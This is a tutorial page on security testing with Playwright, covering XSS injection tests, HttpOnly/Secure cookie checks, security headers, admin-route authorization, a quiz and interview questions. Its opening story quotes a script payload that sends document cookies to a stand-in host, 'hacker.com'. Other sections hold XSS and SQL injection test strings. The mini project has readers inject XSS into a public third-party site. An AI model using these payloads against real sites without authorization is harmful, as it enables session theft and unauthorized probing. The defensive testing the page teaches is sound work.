📖 The Story: The Invisible Intruder

A social media startup launched a new "Bio" feature. Users could write a short description of themselves. The QA team tested it thoroughly: they typed text, checked the character limit, and verified it saved to the database. The UI looked perfect. They deployed.

Three days later, user accounts started being hijacked. The security team investigated. A malicious user had entered <script>fetch('https://hacker.com?cookie='+document.cookie)</script> into their Bio. When other users viewed the profile, the script executed silently in their browsers, stealing their session tokens.

The QA team hadn't tested for Cross-Site Scripting (XSS). They only tested "happy path" text. They assumed the frontend framework would sanitize everything automatically.

The next day, the QA lead wrote a Playwright test. It injected the malicious script payload into the Bio field, saved it, and then navigated to the public profile page. The test asserted that no <script> tags existed in the DOM. The test failed. The developers implemented a strict sanitization library. The test passed. The intruder was locked out.

A test that only checks if the app works is a gift to hackers. You must test that it fails securely.

🎯 Why Security Testing?

🦠

Prevent XSS

Verify that user inputs are sanitized and don't execute as scripts in the DOM.

🍪

Secure Cookies

Ensure session tokens are marked HttpOnly and Secure so they can't be stolen.

🛡️

HTTP Headers

Enforce CSP, HSTS, and X-Frame-Options to prevent clickjacking and MITM attacks.

🔓

Auth Boundaries

Verify that standard users cannot access admin routes or API endpoints directly.

🌍 Real World Example

A developer removes the HttpOnly flag from the session cookie to debug a local issue and accidentally pushes the change to staging. Without security tests, this goes unnoticed. With Playwright, you can write a test that calls context.cookies() and asserts httpOnly: true. The test fails instantly in CI, blocking the deploy.

🧒 Explain Like I'm 10

Imagine your house has a front door (the UI) and a safe (the database). A normal test checks if you can walk through the front door and put money in the safe.

A security test checks if the door locks properly at night. It checks if someone can climb through the window (XSS). It checks if the safe has a combination lock (HttpOnly cookies), not just a piece of tape over the latch.

🎓 Professional Explanation

Playwright operates in a real browser environment, making it ideal for testing the OWASP Top 10 from a user's perspective. We can intercept network responses to verify HTTP security headers (Content-Security-Policy, Strict-Transport-Security). We can inspect the browser context to verify cookie attributes (Secure, HttpOnly, SameSite). Finally, we can inject malicious payloads into form fields and use page.evaluate() to verify the DOM did not execute them.

📊 Secure vs Insecure Flow

What Playwright Checks

Insecure (Vulnerable)
Cookie: HttpOnly=false
Header: Missing CSP
Input: <script> executes
User can navigate to /admin
Secure (Tested)
Cookie: HttpOnly=true
Header: CSP 'self'
Input: <script> sanitized
User redirected from /admin

🛡️ Testing HTTP Security Headers

Security headers tell the browser how to behave. Content-Security-Policy (CSP) prevents XSS by restricting where scripts can load from. Strict-Transport-Security (HSTS) forces HTTPS.

typescript
test('security headers are present', async ({ page }) => {
  let headers = {};

  // Intercept the main document response
  page.on('response', async (response) => {
    if (response.url() === page.url() && response.status() === 200) {
      headers = await response.headers();
    }
  });

  await page.goto('https://your-app.com/');

  // Assert CSP is present
  expect(headers['content-security-policy']).toBeDefined();
  
  // Assert HSTS is present
  expect(headers['strict-transport-security']).toContain('max-age');
});

🍪 Verifying Cookie Attributes

Session cookies must be HttpOnly (inaccessible to JavaScript) and Secure (sent only over HTTPS).

typescript
test('session cookie is secure', async ({ page, context }) => {
  await page.goto('/login');
  // ... perform login ...

  // Get cookies from the browser context
  const cookies = await context.cookies();
  const sessionCookie = cookies.find(c => c.name === 'session_id');

  // Assert the cookie is Secure and HttpOnly
  expect(sessionCookie.secure).toBe(true);
  expect(sessionCookie.httpOnly).toBe(true);
  
  // Assert SameSite is Strict or Lax (prevents CSRF)
  expect(['Strict', 'Lax']).toContain(sessionCookie.sameSite);
});

Why context.cookies()? If a cookie is HttpOnly, page.evaluate(() => document.cookie) will return an empty string. Playwright's Context API reads the cookies directly from the browser network layer, bypassing the JavaScript sandbox, so you can verify HttpOnly attributes.

🦠 Testing for Cross-Site Scripting (XSS)

Inject a malicious payload and verify the application sanitizes it.

typescript
test('profile bio sanitizes XSS payloads', async ({ page) => {
  const xssPayload = '<img src=x onerror="window.__xss_executed=true">';

  // 1. Inject the payload
  await page.goto('/settings');
  await page.getByLabel('Bio').fill(xssPayload);
  await page.getByRole('button', { name: 'Save' }).click();

  // 2. View the public profile
  await page.goto('/public-profile');

  // 3. Verify the script did NOT execute
  const wasXssExecuted = await page.evaluate(() => window.__xss_executed === true);
  expect(wasXssExecuted).toBe(false);

  // 4. Verify the payload was escaped (displayed as text, not an image)
  const bioText = await page.getByTestId('bio-display').innerText();
  expect(bioText).toContain('<img src=x onerror'); // Escaped as string
});

⚠️ Common Mistakes

Mistake 1: Trusting the Framework

React and Vue automatically escape strings. But if a developer uses dangerouslySetInnerHTML or v-html, the framework's protection is bypassed. You must still test for XSS in user-generated content areas.

Mistake 2: Testing Auth Routes Only via UI

Don't just test that the "Admin" link is hidden from standard users. Test that if a standard user manually navigates to /admin via page.goto(), they are redirected to a 403 or Login page.

✅ Best Practices

  1. Run security tests on every PR. Security regressions are just as critical as functional bugs.
  2. Maintain a list of XSS payloads. Store them in a JSON file and loop through them in your tests.
  3. Verify SameSite cookies. SameSite=Strict is the best defense against Cross-Site Request Forgery (CSRF).
  4. Test API endpoints directly. Use the request fixture to ensure standard user tokens return 403 on admin endpoints.

🏗️ Senior Engineer Deep Dive

Content Security Policy (CSP) Bypasses

A strict CSP (default-src 'self') prevents inline scripts. However, if your app uses Angular or React, it often requires 'unsafe-inline' or nonces. Testing CSP in Playwright can be tricky because Playwright injects its own evaluation scripts. Ensure your CSP tests check the response headers, not just whether Playwright can execute page.evaluate() (which bypasses CSP because it's a privileged context).

Testing for CSRF

CSRF attacks trick a logged-in user into submitting a form to your site from a malicious site. To test this, you would need two Playwright contexts: Context A (logged in) and Context B (malicious site). Context B submits a form to Context A's domain. If the SameSite cookie is working, the browser will block the request.

💼 Interview Questions

Beginner
How do you check if a cookie is HttpOnly in Playwright?
Show Answer
I use await context.cookies() to retrieve all cookies for the current page. I find the specific cookie and assert that its httpOnly property is true. I cannot use document.cookie because the browser hides HttpOnly cookies from JavaScript.
Intermediate
How can you test for Cross-Site Scripting (XSS) vulnerabilities?
Show Answer
I inject a known XSS payload (like <img src=x onerror="...">) into a user input field. After saving and viewing the rendered output, I use page.evaluate() to check if the malicious script executed (e.g., checking a global flag). I also verify the DOM contains the escaped text, not an active HTML element.
Advanced
How do you verify that the server is sending a Content-Security-Policy (CSP) header?
Show Answer
I set up a listener on page.on('response'). When the main document response arrives, I capture the headers object and assert that the content-security-policy key exists and contains the expected directives (e.g., default-src 'self').
Scenario
A developer accidentally removes the Secure flag from the session cookie. How does your test suite catch this?
Show Answer
I have a Playwright test that logs in, retrieves the session cookie via context.cookies(), and asserts expect(cookie.secure).toBe(true). This test will fail in CI immediately after the developer pushes the change, blocking the merge.

🏋️ Practical Exercise

🎯 Hands-On Practice Medium

Inspect Your Cookies

  1. Write a test that logs into a web application.
  2. Call const cookies = await context.cookies().
  3. Print the cookies to the console using console.log(cookies).
  4. Check if the session cookie has httpOnly: true and secure: true. If it doesn't, you've found a security bug!

🚀 Mini Project

🏗️ The XSS Shield

  1. Find a public site with a search bar that reflects the query in the URL (e.g., ?q=test).
  2. Write a test that navigates to ?q=<script>window.__pwned=true</script>.
  3. Use page.evaluate(() => window.__pwned) to check if the script executed.
  4. Assert that the result is undefined (meaning the site sanitized the input or used CSP).

📝 Quiz

Test your understanding. Click an option to check your answer.

1. Which Playwright method is used to retrieve cookies to check their attributes?
A) page.cookies()
B) context.cookies()
C) page.evaluate(() => document.cookie)
D) page.get_cookies()
Answer: B — context.cookies() reads cookies from the network layer, exposing HttpOnly attributes.
2. Why can't you use document.cookie to verify an HttpOnly cookie?
A) It is too slow.
B) The browser restricts JavaScript access to HttpOnly cookies.
C) Playwright blocks document.cookie.
D) It only works in Chromium.
Answer: B — HttpOnly is a security flag that makes the cookie invisible to client-side JavaScript to prevent XSS theft.
3. What does the Secure flag on a cookie enforce?
A) The cookie is encrypted at rest.
B) The cookie is only sent over HTTPS connections.
C) The cookie cannot be read by JavaScript.
D) The cookie requires a password to open.
Answer: B — The Secure flag prevents the cookie from being transmitted over unencrypted HTTP.
4. How do you test for XSS in a profile bio field?
A) Check if the field accepts more than 255 characters.
B) Inject a script payload and verify it does not execute in the DOM.
C) Verify the field is hidden behind a paywall.
D) Use page.waitForTimeout to ensure it loads safely.
Answer: B — You inject a payload like <script> and assert the browser did not execute it.
5. Which HTTP header prevents Clickjacking?
A) Content-Security-Policy (CSP)
B) Strict-Transport-Security (HSTS)
C) X-Frame-Options
D) HttpOnly
Answer: C — X-Frame-Options: DENY prevents the page from being embedded in an iframe.
6. How do you verify security headers in Playwright?
A) page.headers()
B) Listen to page.on('response') and read the headers.
C) Check document.headers in the DOM.
D) Use context.securityHeaders().
Answer: B — Intercept the HTTP response before it renders and inspect the headers object.
7. What is the best defense against CSRF?
A) Setting SameSite=Strict on cookies
B) Using HttpOnly cookies
C) Encrypting the database
D) Using HTTPS
Answer: A — SameSite=Strict prevents the browser from sending cookies in cross-site requests.
8. If a user injects <img src=x onerror=alert(1)> and the app displays it safely as text, what happened?
A) The browser blocked the image.
B) The app sanitized/escaped the HTML entities.
C) The network was too slow.
D) The user is not an admin.
Answer: B — The app converted < to &lt;, rendering it as visible text instead of an HTML tag.
9. Why should you test that a standard user cannot navigate to /admin?
A> To test UI styling
B) To verify Authorization (AuthZ) boundaries are enforced on the server
C) To check page load speed
D) To ensure the router works
Answer: B — Hiding the link isn't enough. The server must return 403/401 if the user manually navigates there.
10. Does Playwright's page.evaluate() respect the page's Content-Security-Policy (CSP)?
A) Yes, it is fully blocked by CSP.
B) No, Playwright operates in a privileged context and bypasses CSP.
C) Only in WebKit.
D) Yes, unless force: true is used.
Answer: B — Playwright injects evaluation scripts via CDP, which bypasses the page's CSP. You must check headers to test CSP.

❓ FAQ

Q: Can Playwright test for SQL Injection?

A: Indirectly. You can inject SQL payloads (like ' OR 1=1; --) into form fields. If the API returns a 500 error or dumps all users, the test fails. However, backend unit tests are better suited for SQL injection testing.

Q: How do I test OAuth flows securely?

A: Use Playwright to navigate to the OAuth provider (Google, GitHub), log in, and verify the callback. Ensure the state parameter is present and validated to prevent CSRF during the OAuth flow.

📦 Summary

🎯 Key Takeaways

  • Test for XSS by injecting payloads and verifying the DOM doesn't execute them.
  • Use context.cookies() to verify HttpOnly, Secure, and SameSite attributes.
  • Intercept responses to assert HTTP security headers (CSP, HSTS, X-Frame-Options).
  • Test AuthZ boundaries by navigating directly to admin routes as a standard user.
  • Playwright bypasses CSP via evaluate, so check headers to test CSP.